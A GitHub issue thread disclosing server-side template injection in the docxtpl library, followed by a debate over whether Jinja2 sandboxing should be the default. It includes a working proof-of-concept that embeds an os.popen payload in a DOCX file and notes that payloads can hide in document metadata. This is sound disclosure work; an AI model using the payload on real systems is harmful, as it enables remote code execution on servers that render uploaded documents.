Security: Server-Side Template Injection (SSTI) via unsandboxed Jinja2 allows Remote Code Execution

[DHIRAL2908]

Summary

python-docx-template uses unsandboxed jinja2.Environment() and jinja2.Template() to render content extracted from DOCX files. This allows an attacker who can provide a DOCX template file to achieve arbitrary code execution on the server.

Affected Code

All rendering paths in template.py use unsandboxed Jinja2:

• render_xml_part() (line 312): template = Template(src_xml)
• render_properties() (line 352): jinja_env = Environment()
• render_footnotes() (line 364): jinja_env = Environment()
• get_undeclared_template_variables() (line 916): env = Environment()

The word "Sandbox" does not appear anywhere in the codebase.

Proof of Concept script:

# SSTI in python-docx-template (docxtpl) <= 0.20.2
# docxtpl uses unsandboxed jinja2.Template() to render docx content,
# allowing RCE when processing a malicious docx file.
# pip install docxtpl==0.20.2

import os
import tempfile
from docx import Document
from docxtpl import DocxTemplate

payload = '{{ cycler.__init__.__globals__.os.popen("id").read() }}'

tmp = os.path.join(tempfile.gettempdir(), "ssti_poc.docx")
out = os.path.join(tempfile.gettempdir(), "ssti_out.docx")

doc = Document()
doc.add_paragraph(payload)
doc.save(tmp)

tpl = DocxTemplate(tmp)
tpl.render({})
tpl.save(out)

result = Document(out)
for p in result.paragraphs:
    if p.text.strip():
        print(p.text)

os.unlink(tmp)
os.unlink(out)

Expected behavior

To render Jinja templates in a sandboxed environment, replace Jinja2.Environment() and jinja2.Template() with jinja2.sandbox.SandboxedEnvironment() as the default across all rendering paths. The jinja_env parameter should ensure that user-provided environments are also sandboxed, or, at a minimum, prominently document the security risk.

Screenshots

Additional context

• Affected versions: all versions up to and including 0.20.2
• ~31M total PyPI downloads, ~8-25K daily.
• CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (8.8 High).
• The render() method (line 473) calls all four vulnerable paths: body, headers/footers, properties, and footnotes.
• The properties vector is particularly dangerous — the document body can appear completely clean while RCE payloads hide in metadata fields like Author, Title, or Subject, making detection by visual inspection impossible.
• No SECURITY.md, no security policy, and no use of SandboxedEnvironment anywhere in the codebase.

[jksinton]

Consider reading the docs:
https://docxtpl.readthedocs.io/en/latest/

A SandboxedEnvironment object can be passed to the render function as an argument:

https://docxtpl.readthedocs.io/en/latest/#jinja-custom-filters

[DHIRAL2908]

Hey @jksinton
The issue is that the default is insecure. Most users won't know to pass a SandboxedEnvironment, and the library doesn't document this as a security requirement. Additionally, render_properties() and render_footnotes() create their own Environment() internally, and users can't override those at all. A security-sensitive default should be safe out of the box, not rely on users opting in to safety!

[jksinton]

Hi @JackByrne / @elapouya

IMO, no code changes are needed to address this issue.

All of the functions identified in this issue accept an Environment object, which can be a SandboxedEnvironment.

See:
render_xml_part:

python-docx-template/docxtpl/template.py

Line 305 in 082a1c6

def render_xml_part(self, src_xml, part, context, jinja_env=None):

render_properties:

python-docx-template/docxtpl/template.py

Line 334 in 082a1c6

self, context: Dict[str, Any], jinja_env: Optional[Environment] = None

render_footnotes:

python-docx-template/docxtpl/template.py

Line 361 in 082a1c6

self, context: Dict[str, Any], jinja_env: Optional[Environment] = None

render:

python-docx-template/docxtpl/template.py

Line 476 in 082a1c6

jinja_env: Optional[Environment] = None,

get_undeclared_template_variables:

python-docx-template/docxtpl/template.py

Line 896 in 082a1c6

jinja_env: Optional[Environment] = None,

I believe docxtpl is aiming to be un-opinionated like Jinja on whether to apply a SandboxedEnvironment or not. That is, docxtpl allows the developer to decide whether a SandboxedEnvironment is appropriate as in some cases template content could be derived from a trusted source.

We could consider updating the docs to reflect that a SandboxedEnvironment can be passed to avoid template injections. I will try to put together a PR for those updates.

[DHIRAL2908]

Hi @jksinton , thanks for looking into this.
I understand the perspective that docxtpl aims to be unopinionated, but I'd respectfully push back on the conclusion that no code changes are needed:

Insecure defaults are the vulnerability. The Jinja2 project itself created SandboxedEnvironment specifically because unsandboxed rendering of untrusted templates is dangerous. The secure option should be the default, with an opt-out for trusted sources, not the other way around. This is consistent with how other projects in the ecosystem have handled this (e.g., Tandoor Recipes addressed a similar issue in CVE-2025-23211 by switching to sandboxed rendering by default).

Internal paths are not overridable. While render() accepts a jinja_env parameter, the internal calls within render_properties() and render_footnotes() still instantiate their own Environment() when none is passed. Even a security-conscious developer who passes a SandboxedEnvironment to render() may not realize that metadata fields (Author, Title, Subject) and footnotes are rendered through separate, unsandboxed paths. This is the properties vector I highlighted in the original report. Payloads can hide in metadata invisible during visual inspection.

User awareness. The current documentation does not mention security, SSTI, or the risk of rendering untrusted templates without sandboxing. With ~31M total downloads and common use in web applications that accept user-uploaded DOCX files, the realistic expectation is that most deployments are vulnerable.

I appreciate the offer to update the docs; that would be a positive step. However, I believe the appropriate fix is changing the default Environment() to SandboxedEnvironment() across all rendering paths, with an option to opt out for trusted contexts. A documentation-only update still leaves every existing and new deployment insecure by default.

I'll be filing a CVE for this issue to ensure visibility in vulnerability databases and dependency scanners, as I believe this meets the threshold regardless of whether a code change is made.

[jksinton]

Hi @JackByrne / @elapouya

As I'm sure you are aware, the render function calls render_properties and render_footnotes:

python-docx-template/docxtpl/template.py

Line 510 in 082a1c6

self.render_properties(context, jinja_env)

python-docx-template/docxtpl/template.py

Line 512 in 082a1c6

self.render_footnotes(context, jinja_env)

The same Environment object, which can be passed to render, is also passed to these functions.

[DHIRAL2908]

Hi @jksinton , I appreciate you pointing that out. You're correct that render() forwards the jinja_env parameter to render_properties() and render_footnotes(). I should have been more precise on that point.
However, the core issue remains: when jinja_env is not provided (which is the default), all paths fall back to an unsandboxed Environment(). The vulnerability is the insecure default, not the absence of an opt-in mechanism.
I've submitted a CVE request for this. I'm happy to help review any fix or documentation PR. Thanks for engaging on this.

[jksinton]

Hi @JackByrne / @elapouya

Perhaps, as a point release, docxtpl can be updated to actually be unopinionated on the type of Environment object used for rendering the template.

For example, the render function can require an Environment object as an argument instead of it being optional. That way the maintainers aren't faced with the next security report for not using ImmutableSandboxedEnvironment.

@JackByrne , that might also alleviate some of the performance issues you are encountering where the Environment object is recreated multiple times as identified in #630.